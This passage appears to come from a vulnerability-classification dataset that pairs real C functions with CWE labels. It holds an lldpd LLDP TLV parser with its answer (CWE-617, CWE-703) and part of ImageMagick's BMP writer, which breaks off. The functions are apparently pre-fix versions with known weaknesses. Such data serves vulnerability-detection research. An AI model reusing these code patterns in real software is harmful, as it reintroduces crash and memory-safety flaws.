LLDP_TLV_DOT3_MFS:\n\t\t\t\t\tCHECK_TLV_SIZE(6, \"MFS\");\n\t\t\t\t\tport->p_mfs = PEEK_UINT16;\n\t\t\t\t\tbreak;\n\t\t\t\tcase LLDP_TLV_DOT3_POWER:\n\t\t\t\t\tCHECK_TLV_SIZE(7, \"Power\");\n\t\t\t\t\tport->p_power.devicetype = PEEK_UINT8;\n\t\t\t\t\tport->p_power.supported =\n\t\t\t\t\t\t(port->p_power.devicetype & 0x2) >> 1;\n\t\t\t\t\tport->p_power.enabled =\n\t\t\t\t\t\t(port->p_power.devicetype & 0x4) >> 2;\n\t\t\t\t\tport->p_power.paircontrol =\n\t\t\t\t\t\t(port->p_power.devicetype & 0x8) >> 3;\n\t\t\t\t\tport->p_power.devicetype =\n\t\t\t\t\t\t(port->p_power.devicetype & 0x1)?\n\t\t\t\t\t\tLLDP_DOT3_POWER_PSE:LLDP_DOT3_POWER_PD;\n\t\t\t\t\tport->p_power.pairs = PEEK_UINT8;\n\t\t\t\t\tport->p_power.class = PEEK_UINT8;\n\t\t\t\t\t/* 802.3at? */\n\t\t\t\t\tif (tlv_size >= 12) {\n\t\t\t\t\t\tport->p_power.powertype = PEEK_UINT8;\n\t\t\t\t\t\tport->p_power.source =\n\t\t\t\t\t\t (port->p_power.powertype & (1<<5 | 1<<4)) >> 4;\n\t\t\t\t\t\tport->p_power.priority =\n\t\t\t\t\t\t (port->p_power.powertype & (1<<1 | 1<<0));\n\t\t\t\t\t\tport->p_power.powertype =\n\t\t\t\t\t\t (port->p_power.powertype & (1<<7))?\n\t\t\t\t\t\t LLDP_DOT3_POWER_8023AT_TYPE1:\n\t\t\t\t\t\t LLDP_DOT3_POWER_8023AT_TYPE2;\n\t\t\t\t\t\tport->p_power.requested = PEEK_UINT16;\n\t\t\t\t\t\tport->p_power.allocated = PEEK_UINT16;\n\t\t\t\t\t} else\n\t\t\t\t\t\tport->p_power.powertype =\n\t\t\t\t\t\t LLDP_DOT3_POWER_8023AT_OFF;\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\t/* Unknown Dot3 TLV, ignore it */\n\t\t\t\t\thardware->h_rx_unrecognized_cnt++;\n\t\t\t\t}\n#endif\n\t\t\t} else if (memcmp(med, orgid, sizeof(orgid)) == 0) {\n\t\t\t\t/* LLDP-MED */\n#ifndef ENABLE_LLDPMED\n\t\t\t\thardware->h_rx_unrecognized_cnt++;\n#else\n\t\t\t\tu_int32_t policy;\n\t\t\t\tunsigned loctype;\n\t\t\t\tunsigned power;\n\n\t\t\t\tswitch (tlv_subtype) {\n\t\t\t\tcase LLDP_TLV_MED_CAP:\n\t\t\t\t\tCHECK_TLV_SIZE(7, \"LLDP-MED capabilities\");\n\t\t\t\t\tchassis->c_med_cap_available = PEEK_UINT16;\n\t\t\t\t\tchassis->c_med_type = PEEK_UINT8;\n\t\t\t\t\tport->p_med_cap_enabled |=\n\t\t\t\t\t LLDP_MED_CAP_CAP;\n\t\t\t\t\tbreak;\n\t\t\t\tcase LLDP_TLV_MED_POLICY:\n\t\t\t\t\tCHECK_TLV_SIZE(8, \"LLDP-MED policy\");\n\t\t\t\t\tpolicy = PEEK_UINT32;\n\t\t\t\t\tif (((policy >> 24) < 1) ||\n\t\t\t\t\t ((policy >> 24) > LLDP_MED_APPTYPE_LAST)) {\n\t\t\t\t\t\tlog_info(\"lldp\", \"unknown policy field %d \"\n\t\t\t\t\t\t \"received on %s\",\n\t\t\t\t\t\t policy,\n\t\t\t\t\t\t hardware->h_ifname);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tport->p_med_policy[(policy >> 24) - 1].type =\n\t\t\t\t\t (policy >> 24);\n\t\t\t\t\tport->p_med_policy[(policy >> 24) - 1].unknown =\n\t\t\t\t\t ((policy & 0x800000) != 0);\n\t\t\t\t\tport->p_med_policy[(policy >> 24) - 1].tagged =\n\t\t\t\t\t ((policy & 0x400000) != 0);\n\t\t\t\t\tport->p_med_policy[(policy >> 24) - 1].vid =\n\t\t\t\t\t (policy & 0x001FFE00) >> 9;\n\t\t\t\t\tport->p_med_policy[(policy >> 24) - 1].priority =\n\t\t\t\t\t (policy & 0x1C0) >> 6;\n\t\t\t\t\tport->p_med_policy[(policy >> 24) - 1].dscp =\n\t\t\t\t\t policy & 0x3F;\n\t\t\t\t\tport->p_med_cap_enabled |=\n\t\t\t\t\t LLDP_MED_CAP_POLICY;\n\t\t\t\t\tbreak;\n\t\t\t\tcase LLDP_TLV_MED_LOCATION:\n\t\t\t\t\tCHECK_TLV_SIZE(5, \"LLDP-MED Location\");\n\t\t\t\t\tloctype = PEEK_UINT8;\n\t\t\t\t\tif ((loctype < 1) ||\n\t\t\t\t\t (loctype > LLDP_MED_LOCFORMAT_LAST)) {\n\t\t\t\t\t\tlog_info(\"lldp\", \"unknown location type \"\n\t\t\t\t\t\t \"received on %s\",\n\t\t\t\t\t\t hardware->h_ifname);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tif ((port->p_med_location[loctype - 1].data =\n\t\t\t\t\t\t(char*)malloc(tlv_size - 5)) == NULL) {\n\t\t\t\t\t\tlog_warn(\"lldp\", \"unable to allocate memory \"\n\t\t\t\t\t\t \"for LLDP-MED location for \"\n\t\t\t\t\t\t \"frame received on %s\",\n\t\t\t\t\t\t hardware->h_ifname);\n\t\t\t\t\t\tgoto malformed;\n\t\t\t\t\t}\n\t\t\t\t\tPEEK_BYTES(port->p_med_location[loctype - 1].data,\n\t\t\t\t\t tlv_size - 5);\n\t\t\t\t\tport->p_med_location[loctype - 1].data_len =\n\t\t\t\t\t tlv_size - 5;\n\t\t\t\t\tport->p_med_location[loctype - 1].format = loctype;\n\t\t\t\t\tport->p_med_cap_enabled |=\n\t\t\t\t\t LLDP_MED_CAP_LOCATION;\n\t\t\t\t\tbreak;\n\t\t\t\tcase LLDP_TLV_MED_MDI:\n\t\t\t\t\tCHECK_TLV_SIZE(7, \"LLDP-MED PoE-MDI\");\n\t\t\t\t\tpower = PEEK_UINT8;\n\t\t\t\t\tswitch (power & 0xC0) {\n\t\t\t\t\tcase 0x0:\n\t\t\t\t\t\tport->p_med_power.devicetype = LLDP_MED_POW_TYPE_PSE;\n\t\t\t\t\t\tport->p_med_cap_enabled |=\n\t\t\t\t\t\t LLDP_MED_CAP_MDI_PSE;\n\t\t\t\t\t\tswitch (power & 0x30) {\n\t\t\t\t\t\tcase 0x0:\n\t\t\t\t\t\t\tport->p_med_power.source =\n\t\t\t\t\t\t\t LLDP_MED_POW_SOURCE_UNKNOWN;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 0x10:\n\t\t\t\t\t\t\tport->p_med_power.source =\n\t\t\t\t\t\t\t LLDP_MED_POW_SOURCE_PRIMARY;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 0x20:\n\t\t\t\t\t\t\tport->p_med_power.source =\n\t\t\t\t\t\t\t LLDP_MED_POW_SOURCE_BACKUP;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\tport->p_med_power.source =\n\t\t\t\t\t\t\t LLDP_MED_POW_SOURCE_RESERVED;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 0x40:\n\t\t\t\t\t\tport->p_med_power.devicetype = LLDP_MED_POW_TYPE_PD;\n\t\t\t\t\t\tport->p_med_cap_enabled |=\n\t\t\t\t\t\t LLDP_MED_CAP_MDI_PD;\n\t\t\t\t\t\tswitch (power & 0x30) {\n\t\t\t\t\t\tcase 0x0:\n\t\t\t\t\t\t\tport->p_med_power.source =\n\t\t\t\t\t\t\t LLDP_MED_POW_SOURCE_UNKNOWN;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 0x10:\n\t\t\t\t\t\t\tport->p_med_power.source =\n\t\t\t\t\t\t\t LLDP_MED_POW_SOURCE_PSE;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 0x20:\n\t\t\t\t\t\t\tport->p_med_power.source =\n\t\t\t\t\t\t\t LLDP_MED_POW_SOURCE_LOCAL;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\tport->p_med_power.source =\n\t\t\t\t\t\t\t LLDP_MED_POW_SOURCE_BOTH;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tport->p_med_power.devicetype =\n\t\t\t\t\t\t LLDP_MED_POW_TYPE_RESERVED;\n\t\t\t\t\t}\n\t\t\t\t\tif ((power & 0x0F) > LLDP_MED_POW_PRIO_LOW)\n\t\t\t\t\t\tport->p_med_power.priority =\n\t\t\t\t\t\t LLDP_MED_POW_PRIO_UNKNOWN;\n\t\t\t\t\telse\n\t\t\t\t\t\tport->p_med_power.priority =\n\t\t\t\t\t\t power & 0x0F;\n\t\t\t\t\tport->p_med_power.val = PEEK_UINT16;\n\t\t\t\t\tbreak;\n\t\t\t\tcase LLDP_TLV_MED_IV_HW:\n\t\t\t\tcase LLDP_TLV_MED_IV_SW:\n\t\t\t\tcase LLDP_TLV_MED_IV_FW:\n\t\t\t\tcase LLDP_TLV_MED_IV_SN:\n\t\t\t\tcase LLDP_TLV_MED_IV_MANUF:\n\t\t\t\tcase LLDP_TLV_MED_IV_MODEL:\n\t\t\t\tcase LLDP_TLV_MED_IV_ASSET:\n\t\t\t\t\tif (tlv_size <= 4)\n\t\t\t\t\t\tb = NULL;\n\t\t\t\t\telse {\n\t\t\t\t\t\tif ((b = (char*)malloc(tlv_size - 3)) ==\n\t\t\t\t\t\t NULL) {\n\t\t\t\t\t\t\tlog_warn(\"lldp\", \"unable to allocate \"\n\t\t\t\t\t\t\t \"memory for LLDP-MED \"\n\t\t\t\t\t\t\t \"inventory for frame \"\n\t\t\t\t\t\t\t \"received on %s\",\n\t\t\t\t\t\t\t hardware->h_ifname);\n\t\t\t\t\t\t\tgoto malformed;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tPEEK_BYTES(b, tlv_size - 4);\n\t\t\t\t\t\tb[tlv_size - 4] = '\\0';\n\t\t\t\t\t}\n\t\t\t\t\tswitch (tlv_subtype) {\n\t\t\t\t\tcase LLDP_TLV_MED_IV_HW:\n\t\t\t\t\t\tchassis->c_med_hw = b;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase LLDP_TLV_MED_IV_FW:\n\t\t\t\t\t\tchassis->c_med_fw = b;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase LLDP_TLV_MED_IV_SW:\n\t\t\t\t\t\tchassis->c_med_sw = b;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase LLDP_TLV_MED_IV_SN:\n\t\t\t\t\t\tchassis->c_med_sn = b;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase LLDP_TLV_MED_IV_MANUF:\n\t\t\t\t\t\tchassis->c_med_manuf = b;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase LLDP_TLV_MED_IV_MODEL:\n\t\t\t\t\t\tchassis->c_med_model = b;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase LLDP_TLV_MED_IV_ASSET:\n\t\t\t\t\t\tchassis->c_med_asset = b;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tport->p_med_cap_enabled |=\n\t\t\t\t\t LLDP_MED_CAP_IV;\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\t/* Unknown LLDP MED, ignore it */\n\t\t\t\t\thardware->h_rx_unrecognized_cnt++;\n\t\t\t\t}\n#endif /* ENABLE_LLDPMED */\n\t\t\t} else if (memcmp(dcbx, orgid, sizeof(orgid)) == 0) {\n\t\t\t\tlog_debug(\"lldp\", \"unsupported DCBX tlv received on %s - ignore\",\n\t\t\t\t hardware->h_ifname);\n\t\t\t\thardware->h_rx_unrecognized_cnt++;\n\t\t\t} else {\n\t\t\t\tlog_debug(\"lldp\", \"unknown org tlv [%02x:%02x:%02x] received on %s\",\n\t\t\t\t orgid[0], orgid[1], orgid[2],\n\t\t\t\t hardware->h_ifname);\n\t\t\t\thardware->h_rx_unrecognized_cnt++;\n#ifdef ENABLE_CUSTOM\n\t\t\t\tcustom = (struct lldpd_custom*)calloc(1, sizeof(struct lldpd_custom));\n\t\t\t\tif (!custom) {\n\t\t\t\t\tlog_warn(\"lldp\",\n\t\t\t\t\t \"unable to allocate memory for custom TLV\");\n\t\t\t\t\tgoto malformed;\n\t\t\t\t}\n\t\t\t\tcustom->oui_info_len = tlv_size > 4 ? tlv_size - 4 : 0;\n\t\t\t\tmemcpy(custom->oui, orgid, sizeof(custom->oui));\n\t\t\t\tcustom->subtype = tlv_subtype;\n\t\t\t\tif (custom->oui_info_len > 0) {\n\t\t\t\t\tcustom->oui_info = malloc(custom->oui_info_len);\n\t\t\t\t\tif (!custom->oui_info) {\n\t\t\t\t\t\tlog_warn(\"lldp\",\n\t\t\t\t\t\t \"unable to allocate memory for custom TLV data\");\n\t\t\t\t\t\tgoto malformed;\n\t\t\t\t\t}\n\t\t\t\t\tPEEK_BYTES(custom->oui_info, custom->oui_info_len);\n\t\t\t\t}\n\t\t\t\tTAILQ_INSERT_TAIL(&port->p_custom_list, custom, next);\n\t\t\t\tcustom = NULL;\n#endif\n\t\t\t}\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tlog_warnx(\"lldp\", \"unknown tlv (%d) received on %s\",\n\t\t\t tlv_type, hardware->h_ifname);\n\t\t\tgoto malformed;\n\t\t}\n\t\tif (pos > tlv + tlv_size) {\n\t\t\tlog_warnx(\"lldp\", \"BUG: already past TLV!\");\n\t\t\tgoto malformed;\n\t\t}\n\t\tPEEK_DISCARD(tlv + tlv_size - pos);\n\t}\n\n\t/* Some random check */\n\tif ((chassis->c_id == NULL) ||\n\t (port->p_id == NULL) ||\n\t (!ttl_received) ||\n\t (gotend == 0)) {\n\t\tlog_warnx(\"lldp\", \"some mandatory tlv are missing for frame received on %s\",\n\t\t hardware->h_ifname);\n\t\tgoto malformed;\n\t}\n\t*newchassis = chassis;\n\t*newport = port;\n\treturn 1;\nmalformed:\n#ifdef ENABLE_CUSTOM\n\tfree(custom);\n#endif\n#ifdef ENABLE_DOT1\n\tfree(vlan);\n\tfree(pi);\n#endif\n\tlldpd_chassis_cleanup(chassis, 1);\n\tlldpd_port_cleanup(port, 1);\n\tfree(port);\n\treturn -1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-617', 'CWE-703'], 'message': 'protocols: don't use assert on paths that can be reached\n\nMalformed packets should not make lldpd crash. Ensure we can handle them\nby not using assert() in this part.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static MagickBooleanType WriteBMPImage(const ImageInfo *image_info,Image *image,\n ExceptionInfo *exception)\n{\n BMPInfo\n bmp_info;\n\n BMPSubtype\n bmp_subtype;\n\n const char\n *option;\n\n const StringInfo\n *profile;\n\n MagickBooleanType\n have_color_info,\n status;\n\n MagickOffsetType\n scene;\n\n MemoryInfo\n *pixel_info;\n\n register const Quantum\n *p;\n\n register ssize_t\n i,\n x;\n\n register unsigned char\n *q;\n\n size_t\n bytes_per_line,\n imageListLength,\n type;\n\n ssize_t\n y;\n\n unsigned char\n *bmp_data,\n *pixels;\n\n MagickOffsetType\n profile_data,\n profile_size,\n profile_size_pad;\n\n /*\n Open output image file.\n */\n assert(image_info != (const ImageInfo *) NULL);\n assert(image_info->signature == MagickCoreSignature);\n assert(image != (Image *) NULL);\n assert(image->signature == MagickCoreSignature);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",image->filename);\n assert(exception != (ExceptionInfo *) NULL);\n assert(exception->signature == MagickCoreSignature);\n status=OpenBlob(image_info,image,WriteBinaryBlobMode,exception);\n if (status == MagickFalse)\n return(status);\n if (((image->columns << 3) != (int) (image->columns << 3)) ||\n ((image->rows << 3) != (int) (image->rows << 3)))\n ThrowWriterException(ImageError,\"WidthOrHeightExceedsLimit\");\n type=4;\n if (LocaleCompare(image_info->magick,\"BMP2\") == 0)\n type=2;\n else\n if (LocaleCompare(image_info->magick,\"BMP3\") == 0)\n type=3;\n option=GetImageOption(image_info,\"bmp:format\");\n if (option != (char *) NULL)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Format=%s\",option);\n if (LocaleCompare(option,\"bmp2\") == 0)\n type=2;\n if (LocaleCompare(option,\"bmp3\") == 0)\n type=3;\n if (LocaleCompare(option,\"bmp4\") == 0)\n type=4;\n }\n scene=0;\n imageListLength=GetImageListLength(image);\n do\n {\n /*\n Initialize BMP raster file header.\n */\n if (IssRGBCompatibleColorspace(image->colorspace) == MagickFalse)\n (void) TransformImageColorspace(image,sRGBColorspace,exception);\n (void) memset(&bmp_info,0,sizeof(bmp_info));\n bmp_info.file_size=14+12;\n if (type > 2)\n bmp_info.file_size+=28;\n bmp_info.offset_bits=bmp_info.file_size;\n bmp_info.compression=BI_RGB;\n bmp_info.red_mask=0x00ff0000U;\n bmp_info.green_mask=0x0000ff00U;\n bmp_info.blue_mask=0x000000ffU;\n bmp_info.alpha_mask=0xff000000U;\n bmp_subtype=UndefinedSubtype;\n if ((image->storage_class == PseudoClass) && (image->colors > 256))\n (void) SetImageStorageClass(image,DirectClass,exception);\n if (image->storage_class != DirectClass)\n {\n /*\n Colormapped BMP raster.\n */\n bmp_info.bits_per_pixel=8;\n if (image->colors <= 2)\n bmp_info.bits_per_pixel=1;\n else\n if (image->colors <= 16)\n bmp_info.bits_per_pixel=4;\n else\n if (image->colors <= 256)\n bmp_info.bits_per_pixel=8;\n if (image_info->compression == RLECompression)\n bmp_info.bits_per_pixel=8;\n bmp_info.number_colors=1U << bmp_info.bits_per_pixel;\n if (image->alpha_trait != UndefinedPixelTrait)\n (void) SetImageStorageClass(image,DirectClass,exception);\n else\n if ((size_t) bmp_info.number_colors < image->colors)\n (void) SetImageStorageClass(image,DirectClass,exception);\n else\n {\n bmp_info.file_size+=3*(1UL << bmp_info.bits_per_pixel);\n bmp_info.offset_bits+=3*(1UL << bmp_info.bits_per_pixel);\n if (type > 2)\n {\n bmp_info.file_size+=(1UL << bmp_info.bits_per_pixel);\n bmp_info.offset_bits+=(1UL << bmp_info.bits_per_pixel);\n }\n }\n }\n if (image->storage_class == DirectClass)\n {\n /*\n Full color BMP raster.\n */\n bmp_info.number_colors=0;\n option=GetImageOption(image_info,\"bmp:subtype\");\n if (option != (const char *) NULL)\n {\n if (image->alpha_trait != UndefinedPixelTrait)\n {\n if (LocaleNCompare(option,\"ARGB4444\",8) == 0)\n {\n bmp_subtype=ARGB4444;\n bmp_info.red_mask=0x00000f00U;\n bmp_info.green_mask=0x000000f0U;\n bmp_info.blue_mask=0x0000000fU;\n bmp_info.alpha_mask=0x0000f000U;\n }\n else if (LocaleNCompare(option,\"ARGB1555\",8) == 0)\n {\n bmp_subtype=ARGB1555;\n bmp_info.red_mask=0x00007c00U;\n bmp_info.green_mask=0x000003e0U;\n bmp_info.blue_mask=0x0000001fU;\n bmp_info.alpha_mask=0x00008000U;\n }\n }\n else\n {\n if (LocaleNCompare(option,\"RGB555\",6) == 0)\n {\n bmp_subtype=RGB555;\n bmp_info.red_mask=0x00007c00U;\n bmp_info.green_mask=0x000003e0U;\n bmp_info.blue_mask=0x0000001fU;\n bmp_info.alpha_mask=0U;\n }\n else if (LocaleNCompare(option,\"RGB565\",6) == 0)\n {\n bmp_subtype=RGB565;\n bmp_info.red_mask=0x0000f800U;\n bmp_info.green_mask=0x000007e0U;\n bmp_info.blue_mask=0x0000001fU;\n bmp_info.alpha_mask=0U;\n }\n }\n }\n if (bmp_subtype != UndefinedSubtype)\n {\n bmp_info.bits_per_pixel=16;\n bmp_info.compression=BI_BITFIELDS;\n }\n else\n {\n bmp_info.bits_per_pixel=(unsigned short) ((type > 3) &&\n (image->alpha_trait != UndefinedPixelTrait) ? 32 : 24);\n bmp_info.compression=(unsigned int) ((type > 3) &&\n (image->alpha_trait != UndefinedPixelTrait) ? BI_BITFIELDS : BI_RGB);\n if ((type == 3) && (image->alpha_trait != UndefinedPixelTrait))\n {\n option=GetImageOption(image_info,\"bmp3:alpha\");\n if (IsStringTrue(option))\n bmp_info.bits_per_pixel=32;\n }\n }\n }\n bytes_per_line=4*((image->columns*bmp_info.bits_per_pixel+31)/32);\n bmp_info.ba_offset=0;\n profile=GetImageProfile(image,\"icc\");\n have_color_info=(image->rendering_intent != UndefinedIntent) ||\n (profile != (StringInfo *) NULL) || (image->gamma != 0.0) ? MagickTrue :\n MagickFalse;\n if (type == 2)\n bmp_info.size=12;\n else\n if ((type == 3) || ((image->alpha_trait == UndefinedPixelTrait) &&\n (have_color_info == MagickFalse)))\n {\n type=3;\n bmp_info.size=40;\n }\n else\n {\n int\n extra_size;\n\n bmp_info.size=108;\n extra_size=68;\n if ((image->rendering_intent != UndefinedIntent) ||\n (profile != (StringInfo *) NULL))\n {\n bmp_info.size=124;\n extra_size+=16;\n }\n bmp_info.file_size+=extra_size;\n bmp_info.offset_bits+=extra_size;\n }\n if (((ssize_t) image->columns != (ssize_t) ((signed int) image->columns)) ||\n ((ssize_t) image->rows != (ssize_t) ((signed int) image->rows)))\n ThrowWriterException(ImageError,\"WidthOrHeightExceedsLimit\");\n bmp_info.width=(ssize_t) image->columns;\n bmp_info.height=(ssize_t) image->rows;\n bmp_info.planes=1;\n bmp_info.image_size=(unsigned int) (bytes_per_line*image->rows);\n bmp_info.file_size+=bmp_info.image_size;\n bmp_info.x_pixels=75*39;\n bmp_info.y_pixels=75*39;\n switch (image->units)\n {\n case UndefinedResolution:\n case PixelsPerInchResolution:\n {\n bmp_info.x_pixels=(unsigned int) (100.0*image->resolution.x/2.54);\n bmp_info.y_pixels=(unsigned int) (100.0*image->resolution.y/2.54);\n break;\n }\n case PixelsPerCentimeterResolution:\n {\n bmp_info.x_pixels=(unsigned int) (100.0*image->resolution.x);\n bmp_info.y_pixels=(unsigned int) (100.0*image->resolution.y);\n break;\n }\n }\n bmp_info.colors_important=bmp_info.number_colors;\n /*\n Convert MIFF to BMP raster pixels.\n */\n pixel_info=AcquireVirtualMemory(image->rows,MagickMax(bytes_per_line,\n image->columns+256UL)*sizeof(*pixels));\n if (pixel_info == (MemoryInfo *) NULL)\n ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info);\n (void) memset(pixels,0,(size_t) bmp_info.image_size);\n switch (bmp_info.bits_per_pixel)\n {\n case 1:\n {\n size_t\n bit,\n byte;\n\n /*\n Convert PseudoClass image to a BMP monochrome image.\n */\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n ssize_t\n offset;\n\n p=GetVirtualPixels(image,0,y,image->columns,1,exception);\n if (p == (const Quantum *) NULL)\n break;\n q=pixels+(image->rows-y-1)*bytes_per_line;\n bit=0;\n byte=0;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n byte<<=1;\n byte|=GetPixelIndex(image,p) != 0 ? 0x01 : 0x00;\n bit++;\n if (bit == 8)\n {\n *q++=(unsigned char) byte;\n bit=0;\n byte=0;\n }\n p+=GetPixelChannels(image);\n }\n if (bit != 0)\n {\n *q++=(unsigned char) (byte << (8-bit));\n x++;\n }\n offset=(ssize_t) (image->columns+7)/8;\n for (x=offset; x < (ssize_t) bytes_per_line; x++)\n *q++=0x00;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,SaveImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n break;\n }\n case 4:\n {\n unsigned int\n byte,\n nibble;\n\n ssize_t\n offset;\n\n /*\n Convert PseudoClass image to a BMP monochrome image.\n */\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n p=GetVirtualPixels(image,0,y,image->columns,1,exception);\n if (p == (const Quantum *) NULL)\n break;\n q=pixels+(image->rows-y-1)*bytes_per_line;\n nibble=0;\n byte=0;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n byte<<=4;\n byte|=((unsigned int) GetPixelIndex(image,p) & 0x0f);\n nibble++;\n if (nibble == 2)\n {\n *q++=(unsigned char) byte;\n nibble=0;\n byte=0;\n }\n p+=GetPixelChannels(image);\n }\n if (nibble != 0)\n {\n *q++=(unsigned char) (byte << 4);\n x++;\n }\n offset=(ssize_t) (image->columns+1)/2;\n for (x=offset; x < (ssize_t) bytes_per_line; x++)\n *q++=0x00;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,SaveImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n break;\n }\n case 8:\n {\n /*\n Convert PseudoClass packet to BMP pixel.\n */\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n p=GetVirtualPixels(image,0,y,image->columns,1,exception);\n if (p == (const Quantum *) NULL)\n break;\n q=pixels+(image->rows-y-1)*bytes_per_line;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n *q++=(unsigned char) GetPixelIndex(image,p);\n p+=GetPixelChannels(image);\n }\n for ( ; x < (ssize_t) bytes_per_line; x++)\n *q++=0x00;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,SaveImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n break;\n }\n case 16:\n {\n /*\n Convert DirectClass packet to BMP BGR888.\n */\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n p=GetVirtualPixels(image,0,y,image->columns,1,exception);\n if (p == (const Quantum *) NULL)\n break;\n q=pixels+(image->rows-y-1)*bytes_per_line;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n unsigned short\n pixel;\n\n pixel=0;\n if (bmp_subtype == ARGB4444)\n {\n pixel=(unsigned short) (ScaleQuantumToAny(\n GetPixelAlpha(image,p),15) << 12);\n pixel|=(unsigned short) (ScaleQuantumToAny(\n GetPixelRed(image,p),15) << 8);\n pixel|=(unsigned short) (ScaleQuantumToAny(\n GetPixelGreen(image,p),15) << 4);\n pixel|=(unsigned short) (ScaleQuantumToAny(\n GetPixelBlue(image,p),15));\n }\n else if (bmp_subtype == RGB565)\n {\n pixel=(unsigned short) (ScaleQuantumToAny(\n GetPixelRed(image,p),31) << 11);\n pixel|=(unsigned short) (ScaleQuantumToAny(\n GetPixelGreen(image,p),63) << 5);\n pixel|=(unsigned short) (ScaleQuantumToAny(\n GetPixelBlue(image,p),31));\n }\n else\n {\n if (bmp_subtype == ARGB1555)\n pixel=(unsigned short) (ScaleQuantumToAny(\n GetPixelAlpha(image,p),1) << 15);\n pixel|=(unsigned short) (ScaleQuantumToAny(\n GetPixelRed(image,p),31) << 10);\n pixel|=(unsigned short) (ScaleQuantumToAny(\n GetPixelGreen(image,p),31) << 5);\n pixel|=(unsigned short) (ScaleQuantumToAny(\n GetPixelBlue(image,p),31));\n }\n *((unsigned short *) q)=pixel;\n q+=2;\n p+=GetPixelChannels(image);\n }\n for (x=2L*(ssize_t) image->columns; x < (ssize_t) bytes_per_line; x++)\n *q++=0x00;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,SaveImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n break;\n }\n case 24:\n {\n /*\n Convert DirectClass packet to BMP BGR888.\n */\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n p=GetVirtualPixels(image,0,y,image->columns,1,exception);\n if (p == (const Quantum *) NULL)\n break;\n q=pixels+(image->rows-y-1)*bytes_per_line;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n *q++=ScaleQuantumToChar(GetPixelBlue(image,p));\n *q++=ScaleQuantumToChar(GetPixelGreen(image,p));\n *q++=ScaleQuantumToChar(GetPixelRed(image,p));\n p+=GetPixelChannels(image);\n }\n for (x=3L*(ssize_t) image->columns; x < (ssize_t) bytes_per_line; x++)\n *q++=0x00;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,SaveImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n break;\n }\n case 32:\n {\n /*\n Convert DirectClass packet to ARGB8888 pixel.\n */\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n p=GetVirtualPixels(image,0,y,image->columns,1,exception);\n if (p == (const Quantum *) NULL)\n break;\n q=pixels+(image->rows-y-1)*bytes_per_line;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n *q++=ScaleQuantumToChar(GetPixelBlue(image,p));\n *q++=ScaleQuantumToChar(GetPixelGreen(image,p));\n *q++=ScaleQuantumToChar(GetPixelRed(image,p));\n *q++=ScaleQuantumToChar(GetPixelAlpha(image,p));\n p+=GetPixelChannels(image);\n }\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,SaveImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n break;\n }\n }\n if ((type > 2) && (bmp_info.bits_per_pixel == 8))\n if (image_info->compression != NoCompression)\n {\n MemoryInfo\n *rle_info;\n\n /*\n Convert run-length encoded raster pixels.\n */\n rle_info=AcquireVirtualMemory((size_t) (2*(bytes_per_line+2)+2),\n (image->rows+2)*sizeof(*pixels));\n if (rle_info == (MemoryInfo *) NULL)\n {\n pixel_info=RelinquishVirtualMemory(pixel_info);\n 